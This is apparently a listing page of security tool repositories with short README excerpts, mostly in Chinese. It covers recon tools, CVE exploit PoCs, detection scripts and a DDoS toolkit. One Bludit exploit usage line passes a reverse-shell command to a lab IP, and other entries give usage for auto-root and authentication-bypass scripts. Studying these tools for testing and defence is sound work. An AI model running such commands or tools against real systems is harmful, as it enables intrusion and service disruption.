uDork

uDork - Google Hacking 工具 作者：M3n0sD0n4ld Twitter：@DavidUton 新闻 2022年11月6日 我有一个坏消息要宣布，上周Facebook撤回了该工具用来发起请求的服务，不幸的是该工具已不再工作。 抱歉，非常感谢所有一直在使用它、报告bug并贡献新想法的用户。 注意：我正在开发另一个工具，向 GooFuzz 打个招呼！ 2022年2月23日 将uDork适配从Facebook到Meta的编程变更。 移除了Perl库"libany-uri-escape-perl"。 速度已提升，请求之间节省了2秒。 描述：...

dlkploit600

DLKPloiT600.py 用于D-Link漏洞扫描和测试的简单Python脚本 CVE-2019-13101 https://nvd.nist.gov/vuln/detail/CVE-2019-13101 https://www.cvedetails.com/cve/CVE-2019-13101/ https://us.dlink.com/en/security-advisory https://www.dlink.com/en/security-bulletin 依赖要求： python3.x requests $ pip install -r requirements.txt...

dnsrecon

DNSRecon DNSRecon is a Python port of a Ruby script that I wrote to learn the language and about DNS in early 2007. This time I wanted to learn about Python and extend the functionality of the original tool and in the process re-learn how DNS works and how could it be used in the process of a...

CVE-2023-30190-FOLLINA

CVE-2023-30190-EXPLOIT.py...

HTMLawed

HTMLawed 是…… ……一个单文件、45 kb 的 PHP 脚本，从网页管理员的视角来看，它使输入文本更安全、符合 HTML 标准，并且总体上适合用作 HTML、XHTML 或 XML 文档的正文。作为 HTMLTidy 的简单替代品，htmLawed 过滤器、处理器、净化器、消毒器、美化器等具有高度可定制性。 它确保 HTML 标签平衡且正确嵌套，中和可能被用于跨站脚本（XSS）攻击的代码，限制允许的 HTML 元素、属性或 URL 协议，整理代码等。 因此，在净化场景中，它可以用作 HTMLtidy 的替代方案。 该仓库是…… ……一个衍生版本，紧密跟踪原始项目 链接...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE 认证 用法 python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" 示例...

CVE-2024-22120-RCE

CVE-2024-22120 工具包 受影响版本 6.0.0 - 6.0.27 6.4.0 - 6.4.12 7.0.0alpha1 致谢 https://x.com/mf0cuz https://support.zabbix.com/browse/ZBX-24505 https://packetstormsecurity.com/files/137454/Zabbix-3.0.3-Remote-Command-Execution.html 前提 一个低权限用户 拥有执行脚本的权限 使用方法 CVE-2024-22120-RCE 抓包获取 sessionid 和 hostid： pyth...

CVE-2023-36163

漏洞标题: BuildaGate5library - 反射型跨站脚本（XSS） 日期: 06/07/2023 漏洞作者: Idan Malihi 厂商主页: 无 版本: 5 测试环境: Microsoft Windows 10 Pro CVE编号: CVE-2023-36163 PoC: 攻击者需要找到易受攻击的参数（mc=），并注入如下 JS 代码： 'div id="aaaa...

CVE-2020-2551

CVE-2020-2551 该项目的搭建脚本在10.3.6版本经过测试，12版本未测试。 环境 kali+weblogic10.3.6+jdk6u25 保证部署weblogic的机器内存至少1.5G，因为脚本中参数指定的-x1024m。 使用方法 部署weblogic本地调试环境 进入到对应版本目录，详情查阅对应READEME。 尝试登陆 访问http://ip:7001/console，初次访问的时候有初始化过程！ 默认用户名密码：weblogic/admin@123 payload generate...

MHDDoS

MHDDoS DDoS 测试工具包 · 57 种方法 · Python 3 仅限授权测试和教育用途。 未经所有者明确许可，请勿攻击系统、网站或网络。 下载 · 功能 · 安装 · Docker · 文档 · 社区 · 托管 ⚠️ 重要声明 !CAUTION MHDDoS 完全免费。 请不要 向任何声称出售此项目的人汇款。如果有人要求您为 MHDDoS 付费，请将其视为诈骗。 !WARNING 请仅在您拥有或已获得明确授权测试的基础设施上使用此项目。 ✨ 功能与方法 MHDDoS 包含针对多个网络层的方法、实用命令和控制台辅助工具。 💣 第 7 层 图标| 方法| 描述 ---|---|--...

cve-2020-1350

这是一个 PowerShell 脚本，用于获取你计算机所在域的所有 AD 服务器。随后，它将在这些服务器上设置 CVE-2020-1350 DNS 变通方案，并重启 DNS。 注意！！它会重启 DNS，因此你可能需要安排一个维护窗口来运行。此变通方案并不意味着你可以避免修补服务器，但它应该能帮你争取一些时间，尤其是在你的 Windows 服务器暴露在互联网上的情况下。 你可以在此处阅读关于 cve-2020-1350 的详细信息 - https://blog.gdwnet.com/2020/07/15/sigred-dns-flaw-summary/...

CVE-2021-21975

CVE-2021-21975 检测漏洞 CVE-2021-21975 的 Nmap 脚本 漏洞参考： https://app.howlermonkey.io/vulnerabilities/CVE-2021-21975 https://www.vmware.com/security/advisories/VMSA-2021-0004.html 博客 https://www.guayoyo.io/post/cve-2021-21975-vmware-vrealize-operations-manager-ssrf-lo-que-necesitas-saber 示例 nmap -p443...

cve-2020-0601-plugin

Zeek 测试脚本：CVE-2020-0601 该脚本可以检测针对 CVE-2020-0601 的利用尝试。它会检查证书中是否使用了已知曲线——如果不是，则会触发告警。 在 notice.log 中的告警示例： 1579043477.791522 CHhAvVGS1DHFjwGM9 192.241.209.49 46110 192.241.202.21 4433 F37z6n1B8zn1fZjpj application/x-x509-user-cert 192.241.202.21:4433/tcp tcp CVE20200601::UnknownX509Curve ECC...

-cve-2025-55182

CVE-2025-55182 批量 / 单 URL 检测脚本 image 一款高效的 CVE-2025-55182 漏洞检测工具，支持单 URL 快速检测和批量 URL 检测，自动生成详细的 Excel 检测报告，同时输出完整日志文件。 🔥 核心特性 支持单 URL 检测（-u）和批量 URL 文件检测（-f），参数互斥且易用 分别测试 Linux/Windows 系统 Payload，基于随机数计算验证漏洞有效性 精准检测 X-Action-Redirect/X-Middleware-Rewrite 响应头 + 303 状态码等核心特征 严格使用 Prepared Request...

Halcyon-IDE

Halcyon IDE 描述 Halcyon IDE 是首个专为 Nmap 脚本开发者打造的 IDE。该项目最初源于咖啡店闲暇时间的想法。最初目的是为信息安全社区中从事 Nmap 脚本开发的人员提供一个更简单的开发界面。项目起初为个人使用而开发，后来以开源形式发布给社区，希望能帮助志同道合的 Nmap 脚本开发者。 特性 IDE 当然比普通文本编辑器更强大。Halcyon IDE 提供了漂亮的用户界面，可以对源代码进行语法和语义高亮显示，便于更快的开发。 工作区旁边的侧面板使浏览重要的 Nmap 文件更加方便，特别是脚本、库和数据目录。...

Dome

DOME - Una herramienta de enumeración de subdominios Ver la versión en español Dome es un script de Python rápido y confiable que realiza un escaneo activo y/o pasivo para obtener subdominios y buscar puertos abiertos. Esta herramienta está recomendada para cazadores de bugs y pentesters en su fa...

Fortinet-PoC-Auth-Bypass

Fortinet-PoC-Auth-Bypass 用于Fortinet认证绕过的Bash概念验证PoC - CVE-2022-40684 用法: Usage: ./poc.sh Example: ./poc.sh 10.10.10.120 8443 可在Exploit-db获取: https://www.exploit-db.com/exploits/51092...

cve-2020-14882

cve-2020-14882 用法：cve-2020-14882.py http://127.0.0.1...

Auto-Root-Exploit

Auto-Root-Exploit 自动根权限利用工具 作者：Nilotpal Biswas Facebook：https://www.facebook.com/nilotpal.biswas.73 Twitter：https://twitter.com/nilotpalhacker 使用方法： 对于内核版本 2.6 全部 bash autoroot.sh 2 对于内核版本 3 全部 bash autoroot.sh 3 对于内核版本 4 全部 bash autoroot.sh 4 对于 FreeBSD 和 OpenBSD 全部 bash autoroot.sh bsd 对于 Apple...

cve-2017-9805.py

CVE-2017-9805.py 1. Mejor código de explotación para CVE-2017-9805 Apache Struts 2. Debería ser casi a prueba de errores ¿Por qué recodificar? Encontré que la mayoría del código de explotación en línea simplemente usaba concatenación de cadenas para insertar comandos proporcionados por el usuario...